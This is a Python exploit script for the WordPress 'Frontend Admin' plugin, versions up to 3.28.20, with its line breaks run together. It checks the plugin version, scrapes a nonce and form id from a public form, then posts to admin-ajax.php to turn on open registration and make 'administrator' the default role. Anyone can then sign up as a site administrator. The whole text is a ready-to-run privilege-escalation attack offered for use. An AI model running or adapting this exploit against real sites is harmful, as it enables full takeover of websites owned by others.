import requests import sys import argparse from packaging.version import Version from bs4 import BeautifulSoup def check_version(target): print(f"[*] Checking version of {target} Frontend Admin plugin...") resp = requests.get(f"{target}/wp-content/plugins/acf-frontend-form-element/readme.txt") resp_text = resp.text.split("\n") for l in resp_text: if "Stable tag" in l: print(f"[*] Version is {l}") ver = l.split(" ")[-1] if Version(ver) <= Version("3.28.20"): print("[+] Version is vulnerable!") return True print("[-] Version is not vulnerable!") return False print(f"[-] Can't find version. Returned response code: {resp.status_code}") return False def grab_form_page_and_nonce(target_page): resp = requests.get(target_page) soup = BeautifulSoup(resp.text, "lxml") forms = soup.find_all("form", {"class":"frontend-form"})[0] acf_nonce = forms.find_all("input", {"name": "_acf_nonce"})[0].get('value') acf_form = forms.find_all("input", {"name": "_acf_form"})[0].get('value') print(f"[*] Obtained nonce: {acf_nonce}") print(f"[*] Obtained form id: {acf_form}") return (acf_nonce, acf_form) def send_exploit(target_site, acf_nonce, acf_form): data = { "_acf_nonce" : acf_nonce, "_acf_form" : acf_form, "action" : "frontend_admin/form_submit", "acff[admin_options][users_can_register]": 1, "acff[admin_options][default_role]": "administrator" } resp = requests.post(f"{target_site}/wp-admin/admin-ajax.php", data=data) if resp.status_code == 200: print(f"[+] Users can register enabled and default role is set to administrator! Status returned {resp.status_code}") return True print(f"[-] Exploit failed! Response returned {resp.status_code}") return False parser = argparse.ArgumentParser() parser.add_argument("target_site") parser.add_argument("target_form") args = parser.parse_args() target_form = args.target_form target_site = args.target_site check_version(target_site) acf_nonce, acf_form = grab_form_page_and_nonce(target_form) send_exploit_res = send_exploit(target_site, acf_nonce, acf_form) if send_exploit_res: print("[+] Exploit seems successful. You can now register a new account that defaults to administrator!")